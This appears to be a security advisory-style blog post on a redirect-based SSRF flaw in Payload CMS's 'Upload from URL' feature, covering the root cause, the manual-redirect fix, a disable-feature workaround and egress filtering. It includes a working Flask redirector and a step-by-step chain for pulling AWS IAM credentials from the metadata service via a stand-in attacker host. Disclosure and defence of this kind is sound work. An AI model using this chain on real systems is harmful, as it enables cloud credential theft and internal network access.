Feb 25, 2026·6 min read·6 visits
Authenticated SSRF in Payload CMS < 3.75.0 via the 'Upload from URL' feature. The application validated the initial URL but automatically followed HTTP redirects (302) to restricted internal targets (like 169.254.169.254). Fixed by implementing manual redirect handling.
Payload CMS, a darling of the headless CMS world, recently patched a Server-Side Request Forgery (SSRF) vulnerability that perfectly illustrates why trusting HTTP clients to 'do the right thing' is a dangerous game. The flaw lay in the 'Upload from URL' feature—a convenient tool for content editors that inadvertently became a proxy for attackers to tour the internal network. While the system diligently checked the initial URL for safety, it failed to account for the HTTP client's enthusiasm for following redirects. This allowed authenticated attackers to bypass allowlists and access local services or cloud metadata by simply bouncing the request through a malicious server.
Modern Content Management Systems (CMS) are expected to be more than just text editors; they are media hubs. Payload CMS is no exception, offering a slick 'Upload from URL' feature. This allows an editor to paste a link to an image hosted elsewhere, and the server dutifully fetches it, processes it, and stores it. It's a standard feature, but from a security perspective, it's a loaded gun.
Functionally, this turns the CMS server into a proxy. If I tell the server to fetch http://google.com/logo.png, it acts on my behalf. The security risk here is obvious: what if I tell it to fetch http://localhost:27017 (MongoDB) or http://169.254.169.254 (AWS Metadata)?
Payload's developers aren't amateurs; they knew this. They implemented checks to ensure the user-provided URL didn't point to private IP ranges. They checked the ID at the door. The problem, as is often the case in SSRF vulnerabilities, wasn't the front door—it was the side entrance that the HTTP client happily opened automatically.
The vulnerability stems from a classic disconnect between application logic and library behavior. The getExternalFile.ts utility was responsible for vetting the URL. It would take the user input, run it through an allowlist or a 'safe fetch' validator (checking for private IPs), and if it passed, it handed the URL off to the HTTP client (likely undici or the native Node.js fetch).
Here lies the logic error: Time-of-Check to Time-of-Use (TOCTOU) via protocol behavior. The validation happened once on the initial input. However, standard HTTP clients are designed to be helpful. When they receive a 301 Moved Permanently or 302 Found response, they automatically follow the Location header to the new destination.
Crucially, the HTTP client does not call back to the application logic to ask, "Hey, this new URL points to 127.0.0.1, is that cool?" It just goes there. The application validated the request to attacker.com, but the actual HTTP transaction ended up hitting localhost. The validation logic was effectively bypassed because it only vetted the ticket, not the destination of the train.
The fix provided in commit 1041bb6 is a textbook example of how to handle untrusted URLs correctly in a backend environment. The developers couldn't just rely on the default fetch behavior anymore.
The Vulnerable Logic (Conceptual):
// Pseudocode of the failure pattern
if (isSafe(url)) {
// The client follows redirects automatically by default
const response = await fetch(url);
saveFile(response);
}The Hardened Logic:
The patch introduces manual redirect handling. Instead of letting fetch drive, the code now explicitly grabs the wheel. It sets redirect: 'manual' and implements a loop to process hops one by one.
// Simplified representation of the fix
let currentUrl = initialUrl;
let response;
const maxRedirects = 3;
for (let i = 0; i <= maxRedirects; i++) {
// 1. Validate the CURRENT url before every single hop
if (!isSafe(currentUrl)) {
throw new Error('Forbidden URL');
}
// 2. Fetch with manual redirect handling
response = await fetch(currentUrl, { redirect: 'manual' });
// 3. Check if we are done or need to follow a redirect
if (response.status >= 300 && response.status < 400) {
const location = response.headers.get('location');
// Construct new URL and loop again to validate it
currentUrl = new URL(location, currentUrl).toString();
continue;
}
break; // Not a redirect, we are done
}This approach ensures that every link in the chain is subjected to the same security scrutiny as the first one. It effectively kills the redirect bypass technique.
Exploiting this requires an authenticated account with permission to create items in a collection that has uploads enabled. Once inside, the attack chain is trivial but effective.
Step 1: The Setup
We need a malicious server that acts as a pivot. A simple Python Flask script will do the job:
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/image.png')
def malicious_redirect():
# Redirect the backend to its own metadata service
return redirect("http://169.254.169.254/latest/meta-data/iam/security-credentials/", code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)Step 2: The Trigger
http://attacker-controlled.com/image.png.Step 3: Execution
Payload's server sees attacker-controlled.com. It checks the IP. It's a public IP. Access granted.
The server connects to our Python script. Our script replies: "Go to 169.254.169.254."
The Payload server, running the vulnerable code, obediently follows the redirect to the AWS metadata service.
It downloads the JSON response containing IAM credentials and saves it as image.png.
Step 4: The Loot
We simply download the "image" from the CMS. Opening it in a text editor reveals the AWS keys. Game over.
While this vulnerability scores a 'Medium' (6.5) on CVSS because it requires authentication, do not let that lull you into a false sense of security. In many organizations, 'Content Editor' accounts are widely distributed and less protected than 'Admin' accounts.
Cloud Compromise: If the CMS is hosted on AWS, GCP, or Azure, this SSRF is a direct path to the Instance Metadata Service (IMDS). Unless IMDSv2 (which requires session tokens) is strictly enforced, an attacker can steal temporary credentials and escalate privileges into the cloud environment.
Internal Reconnaissance: The attacker can use the CMS to port scan the internal network. By timing how long the server takes to respond (or fail), they can map out internal services—identifying Redis instances, databases, or internal admin panels that were never meant to see the internet.
Data Exfiltration: If there are unprotected internal APIs (e.g., an Elasticsearch cluster with no auth on port 9200), the attacker can query them and download sensitive organizational data, all masquerading as valid file uploads.
The remediation is straightforward: Update to Payload CMS v3.75.0 immediately. The patch introduces the manual redirect handling logic discussed above.
If you cannot patch right now, you must disable the feature vector. You can disable external file uploads in your collection configuration:
// payload.config.ts
export const MediaCollection = {
slug: 'media',
upload: {
// This kills the feature, but also kills the vulnerability
disableExternalFile: true,
},
}Additionally, this is a stark reminder to implement Defense in Depth. Your application servers should not have unrestricted outbound network access. Use egress filtering (firewalls) to block your application servers from talking to private IP ranges (RFC 1918) and cloud metadata IPs (169.254.169.254) unless explicitly required.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Payload CMS Payload | < 3.75.0 | 3.75.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-918 |
| Attack Vector | Network |
| CVSS Score | 6.5 (Medium) |
| Impact | Confidentiality, Integrity |
| Permissions | Authenticated (Create Access) |
| Status | Patched |
Server-Side Request Forgery (SSRF) occurs when a web application is fetching a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination.